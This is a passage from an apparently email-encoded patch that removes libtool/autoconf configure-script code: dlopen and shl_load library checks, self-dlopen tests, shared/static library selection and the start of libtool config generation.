lt_cv_dlopen_self=3Dyes - ;; - - mingw* | pw32*) - lt_cv_dlopen=3D"LoadLibrary" - lt_cv_dlopen_libs=3D - ;; - - cygwin*) - lt_cv_dlopen=3D"dlopen" - lt_cv_dlopen_libs=3D - ;; - - darwin*) - # if libdl is installed we need to link against it - echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 -echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 -if test "${ac_cv_lib_dl_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldl $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dl_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dl_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 -if test $ac_cv_lib_dl_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl" -else - - lt_cv_dlopen=3D"dyld" - lt_cv_dlopen_libs=3D - lt_cv_dlopen_self=3Dyes - -fi - - ;; - - *) - echo "$as_me:$LINENO: checking for shl_load" >&5 -echo $ECHO_N "checking for shl_load... $ECHO_C" >&6 -if test "${ac_cv_func_shl_load+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -/* Define shl_load to an innocuous variant, in case declare= s shl_load. - For example, HP-UX 11i declares gettimeofday. */ -#define shl_load innocuous_shl_load - -/* System header to define __stub macros and hopefully few prototypes, - which can conflict with char shl_load (); below. - Prefer to if __STDC__ is defined, since - exists even on freestanding compilers. */ - -#ifdef __STDC__ -# include -#else -# include -#endif - -#undef shl_load - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -{ -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char shl_load (); -/* The GNU C library defines this for functions which it implements - to always fail with ENOSYS. Some functions are actually named - something starting with __ and the normal name is an alias. */ -#if defined (__stub_shl_load) || defined (__stub___shl_load) -choke me -#else -char (*f) () =3D shl_load; -#endif -#ifdef __cplusplus -} -#endif - -int -main () -{ -return f !=3D shl_load; - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_func_shl_load=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_func_shl_load=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 -echo "${ECHO_T}$ac_cv_func_shl_load" >&6 -if test $ac_cv_func_shl_load =3D yes; then - lt_cv_dlopen=3D"shl_load" -else - echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 -echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6 -if test "${ac_cv_lib_dld_shl_load+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char shl_load (); -int -main () -{ -shl_load (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dld_shl_load=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dld_shl_load=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 -echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6 -if test $ac_cv_lib_dld_shl_load =3D yes; then - lt_cv_dlopen=3D"shl_load" lt_cv_dlopen_libs=3D"-dld" -else - echo "$as_me:$LINENO: checking for dlopen" >&5 -echo $ECHO_N "checking for dlopen... $ECHO_C" >&6 -if test "${ac_cv_func_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -/* Define dlopen to an innocuous variant, in case declares = dlopen. - For example, HP-UX 11i declares gettimeofday. */ -#define dlopen innocuous_dlopen - -/* System header to define __stub macros and hopefully few prototypes, - which can conflict with char dlopen (); below. - Prefer to if __STDC__ is defined, since - exists even on freestanding compilers. */ - -#ifdef __STDC__ -# include -#else -# include -#endif - -#undef dlopen - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -{ -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -/* The GNU C library defines this for functions which it implements - to always fail with ENOSYS. Some functions are actually named - something starting with __ and the normal name is an alias. */ -#if defined (__stub_dlopen) || defined (__stub___dlopen) -choke me -#else -char (*f) () =3D dlopen; -#endif -#ifdef __cplusplus -} -#endif - -int -main () -{ -return f !=3D dlopen; - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_func_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_func_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 -echo "${ECHO_T}$ac_cv_func_dlopen" >&6 -if test $ac_cv_func_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" -else - echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 -echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 -if test "${ac_cv_lib_dl_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldl $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dl_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dl_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 -if test $ac_cv_lib_dl_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl" -else - echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 -echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6 -if test "${ac_cv_lib_svld_dlopen+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-lsvld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dlopen (); -int -main () -{ -dlopen (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_svld_dlopen=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_svld_dlopen=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 -echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6 -if test $ac_cv_lib_svld_dlopen =3D yes; then - lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-lsvld" -else - echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 -echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6 -if test "${ac_cv_lib_dld_dld_link+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldld $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dld_link (); -int -main () -{ -dld_link (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dld_dld_link=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dld_dld_link=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 -echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6 -if test $ac_cv_lib_dld_dld_link =3D yes; then - lt_cv_dlopen=3D"dld_link" lt_cv_dlopen_libs=3D"-dld" -fi - - -fi - - -fi - - -fi - - -fi - - -fi - - ;; - esac - - if test "x$lt_cv_dlopen" !=3D xno; then - enable_dlopen=3Dyes - else - enable_dlopen=3Dno - fi - - case $lt_cv_dlopen in - dlopen) - save_CPPFLAGS=3D"$CPPFLAGS" - test "x$ac_cv_header_dlfcn_h" =3D xyes && CPPFLAGS=3D"$CPPFLAGS -D= HAVE_DLFCN_H" - - save_LDFLAGS=3D"$LDFLAGS" - eval LDFLAGS=3D\"\$LDFLAGS $export_dynamic_flag_spec\" - - save_LIBS=3D"$LIBS" - LIBS=3D"$lt_cv_dlopen_libs $LIBS" - - echo "$as_me:$LINENO: checking whether a program can dlopen itself= " >&5 -echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C"= >&6 -if test "${lt_cv_dlopen_self+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - =09 if test "$cross_compiling" =3D yes; then : - lt_cv_dlopen_self=3Dcross -else - lt_dlunknown=3D0; lt_dlno_uscore=3D1; lt_dlneed_uscore=3D2 - lt_status=3D$lt_dlunknown - cat > conftest.$ac_ext < -#endif - -#include - -#ifdef RTLD_GLOBAL -# define LT_DLGLOBAL=09=09RTLD_GLOBAL -#else -# ifdef DL_GLOBAL -# define LT_DLGLOBAL=09=09DL_GLOBAL -# else -# define LT_DLGLOBAL=09=090 -# endif -#endif - -/* We may have to define LT_DLLAZY_OR_NOW in the command line if we - find out it does not work in some platform. */ -#ifndef LT_DLLAZY_OR_NOW -# ifdef RTLD_LAZY -# define LT_DLLAZY_OR_NOW=09=09RTLD_LAZY -# else -# ifdef DL_LAZY -# define LT_DLLAZY_OR_NOW=09=09DL_LAZY -# else -# ifdef RTLD_NOW -# define LT_DLLAZY_OR_NOW=09RTLD_NOW -# else -# ifdef DL_NOW -# define LT_DLLAZY_OR_NOW=09DL_NOW -# else -# define LT_DLLAZY_OR_NOW=090 -# endif -# endif -# endif -# endif -#endif - -#ifdef __cplusplus -extern "C" void exit (int); -#endif - -void fnord() { int i=3D42;} -int main () -{ - void *self =3D dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); - int status =3D $lt_dlunknown; - - if (self) - { - if (dlsym (self,"fnord")) status =3D $lt_dlno_uscore; - else if (dlsym( self,"_fnord")) status =3D $lt_dlneed_uscore; - /* dlclose (self); */ - } - - exit (status); -} -EOF - if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; th= en - (./conftest; exit; ) 2>/dev/null - lt_status=3D$? - case x$lt_status in - x$lt_dlno_uscore) lt_cv_dlopen_self=3Dyes ;; - x$lt_dlneed_uscore) lt_cv_dlopen_self=3Dyes ;; - x$lt_unknown|x*) lt_cv_dlopen_self=3Dno ;; - esac - else : - # compilation failed - lt_cv_dlopen_self=3Dno - fi -fi -rm -fr conftest* - - -fi -echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 -echo "${ECHO_T}$lt_cv_dlopen_self" >&6 - - if test "x$lt_cv_dlopen_self" =3D xyes; then - LDFLAGS=3D"$LDFLAGS $link_static_flag" - echo "$as_me:$LINENO: checking whether a statically linked progr= am can dlopen itself" >&5 -echo $ECHO_N "checking whether a statically linked program can dlopen = itself... $ECHO_C" >&6 -if test "${lt_cv_dlopen_self_static+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - =09 if test "$cross_compiling" =3D yes; then : - lt_cv_dlopen_self_static=3Dcross -else - lt_dlunknown=3D0; lt_dlno_uscore=3D1; lt_dlneed_uscore=3D2 - lt_status=3D$lt_dlunknown - cat > conftest.$ac_ext < -#endif - -#include - -#ifdef RTLD_GLOBAL -# define LT_DLGLOBAL=09=09RTLD_GLOBAL -#else -# ifdef DL_GLOBAL -# define LT_DLGLOBAL=09=09DL_GLOBAL -# else -# define LT_DLGLOBAL=09=090 -# endif -#endif - -/* We may have to define LT_DLLAZY_OR_NOW in the command line if we - find out it does not work in some platform. */ -#ifndef LT_DLLAZY_OR_NOW -# ifdef RTLD_LAZY -# define LT_DLLAZY_OR_NOW=09=09RTLD_LAZY -# else -# ifdef DL_LAZY -# define LT_DLLAZY_OR_NOW=09=09DL_LAZY -# else -# ifdef RTLD_NOW -# define LT_DLLAZY_OR_NOW=09RTLD_NOW -# else -# ifdef DL_NOW -# define LT_DLLAZY_OR_NOW=09DL_NOW -# else -# define LT_DLLAZY_OR_NOW=090 -# endif -# endif -# endif -# endif -#endif - -#ifdef __cplusplus -extern "C" void exit (int); -#endif - -void fnord() { int i=3D42;} -int main () -{ - void *self =3D dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); - int status =3D $lt_dlunknown; - - if (self) - { - if (dlsym (self,"fnord")) status =3D $lt_dlno_uscore; - else if (dlsym( self,"_fnord")) status =3D $lt_dlneed_uscore; - /* dlclose (self); */ - } - - exit (status); -} -EOF - if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; th= en - (./conftest; exit; ) 2>/dev/null - lt_status=3D$? - case x$lt_status in - x$lt_dlno_uscore) lt_cv_dlopen_self_static=3Dyes ;; - x$lt_dlneed_uscore) lt_cv_dlopen_self_static=3Dyes ;; - x$lt_unknown|x*) lt_cv_dlopen_self_static=3Dno ;; - esac - else : - # compilation failed - lt_cv_dlopen_self_static=3Dno - fi -fi -rm -fr conftest* - - -fi -echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 -echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6 - fi - - CPPFLAGS=3D"$save_CPPFLAGS" - LDFLAGS=3D"$save_LDFLAGS" - LIBS=3D"$save_LIBS" - ;; - esac - - case $lt_cv_dlopen_self in - yes|no) enable_dlopen_self=3D$lt_cv_dlopen_self ;; - *) enable_dlopen_self=3Dunknown ;; - esac - - case $lt_cv_dlopen_self_static in - yes|no) enable_dlopen_self_static=3D$lt_cv_dlopen_self_static ;; - *) enable_dlopen_self_static=3Dunknown ;; - esac -fi - - -# Report which librarie types wil actually be built -echo "$as_me:$LINENO: checking if libtool supports shared libraries" >= &5 -echo $ECHO_N "checking if libtool supports shared libraries... $ECHO_C= " >&6 -echo "$as_me:$LINENO: result: $can_build_shared" >&5 -echo "${ECHO_T}$can_build_shared" >&6 - -echo "$as_me:$LINENO: checking whether to build shared libraries" >&5 -echo $ECHO_N "checking whether to build shared libraries... $ECHO_C" >= &6 -test "$can_build_shared" =3D "no" && enable_shared=3Dno - -# On AIX, shared libraries and static libraries use the same namespace= , and -# are all built from PIC. -case "$host_os" in -aix3*) - test "$enable_shared" =3D yes && enable_static=3Dno - if test -n "$RANLIB"; then - archive_cmds=3D"$archive_cmds~\$RANLIB \$lib" - postinstall_cmds=3D'$RANLIB $lib' - fi - ;; - -aix4* | aix5*) - if test "$host_cpu" !=3D ia64 && test "$aix_use_runtimelinking" =3D = no ; then - test "$enable_shared" =3D yes && enable_static=3Dno - fi - ;; -esac -echo "$as_me:$LINENO: result: $enable_shared" >&5 -echo "${ECHO_T}$enable_shared" >&6 - -echo "$as_me:$LINENO: checking whether to build static libraries" >&5 -echo $ECHO_N "checking whether to build static libraries... $ECHO_C" >= &6 -# Make sure either enable_shared or enable_static is yes. -test "$enable_shared" =3D yes || enable_static=3Dyes -echo "$as_me:$LINENO: result: $enable_static" >&5 -echo "${ECHO_T}$enable_static" >&6 - -# The else clause should only fire when bootstrapping the -# libtool distribution, otherwise you forgot to ship ltmain.sh -# with your package, and you will get complaints that there are -# no rules to generate ltmain.sh. -if test -f "$ltmain"; then - # See if we are running on zsh, and set the options which allow our = commands through - # without removal of \ escapes. - if test -n "${ZSH_VERSION+set}" ; then - setopt NO_GLOB_SUBST - fi - # Now quote all the things that may contain metacharacters while bei= ng - # careful not to overquote the AC_SUBSTed values. We take copies of= the - # variables and quote the copies for generation of the libtool scrip= t. - for var in echo old_CC old_CFLAGS AR AR_FLAGS AS EGREP RANLIB LN_S L= TCC NM \ - SED SHELL STRIP \ - libname_spec library_names_spec soname_spec extract_expsyms_cmds \ - old_striplib striplib file_magic_cmd finish_cmds finish_eval \ - deplibs_check_method reload_flag reload_cmds need_locks \ - lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ - lt_cv_sys_global_symbol_to_c_name_address \ - sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ - old_postinstall_cmds old_postuninstall_cmds \ - compiler \ - CC \ - LD \ - lt_prog_compiler_wl \ - lt_prog_compiler_pic \ - lt_prog_compiler_static \ - lt_prog_compiler_no_builtin_flag \ - export_dynamic_flag_spec \ - thread_safe_flag_spec \ - whole_archive_flag_spec \ - enable_shared_with_static_runtimes \ - old_archive_cmds \ - old_archive_from_new_cmds \ - predep_objects \ - postdep_objects \ - predeps \ - postdeps \ - compiler_lib_search_path \ - archive_cmds \ - archive_expsym_cmds \ - postinstall_cmds \ - postuninstall_cmds \ - old_archive_from_expsyms_cmds \ - allow_undefined_flag \ - no_undefined_flag \ - export_symbols_cmds \ - hardcode_libdir_flag_spec \ - hardcode_libdir_flag_spec_ld \ - hardcode_libdir_separator \ - hardcode_automatic \ - module_cmds \ - module_expsym_cmds \ - lt_cv_prog_compiler_c_o \ - exclude_expsyms \ - include_expsyms; do - - case $var in - old_archive_cmds | \ - old_archive_from_new_cmds | \ - archive_cmds | \ - archive_expsym_cmds | \ - module_cmds | \ - module_expsym_cmds | \ - old_archive_from_expsyms_cmds | \ - export_symbols_cmds | \ - extract_expsyms_cmds | reload_cmds | finish_cmds | \ - postinstall_cmds | postuninstall_cmds | \ - old_postinstall_cmds | old_postuninstall_cmds | \ - sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) - # Double-quote double-evaled strings. - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_= quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\= \\"" - ;; - *) - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quo= te_subst\"\`\\\"" - ;; - esac - done - - case $lt_echo in - *'\$0 --fallback-echo"') - lt_echo=3D`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-ec= ho"$/$0 --fallback-echo"/'` - ;; - esac - -cfgfile=3D"${ofile}T" - trap "$rm \"$cfgfile\"; exit 1" 1 2 15 - $rm -f "$cfgfile" - { echo "$as_me:$LINENO: creating $ofile" >&5 -echo "$as_me: creating $ofile" >&6;} - - cat <<__EOF__ >> "$cfgfile" -#! $SHELL - -# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-bu= ilding support services. -# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP= ) -# NOTE: Changes made to this file will be lost: look at ltmain.sh. -# -# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 -# Free Software Foundation, Inc. -# -# This file is part of GNU Libtool: -# Originally by Gordon Matzigkeit , 1996 -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307= , USA. -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that progra= m. - -# A sed program that does not truncate output. -SED=3D$lt_SED - -# Sed that helps us avoid accidentally triggering echo(1) options like= -n. -Xsed=3D"$SED -e s/^X//" - -# The HP-UX ksh and POSIX shell print the target directory to stdout -# if CDPATH is set. -(unset CDPATH) >/dev/null 2>&1 && unset CDPATH - -# The names of the tagged configurations supported by this script. -available_tags=3D - -# ### BEGIN LIBTOOL 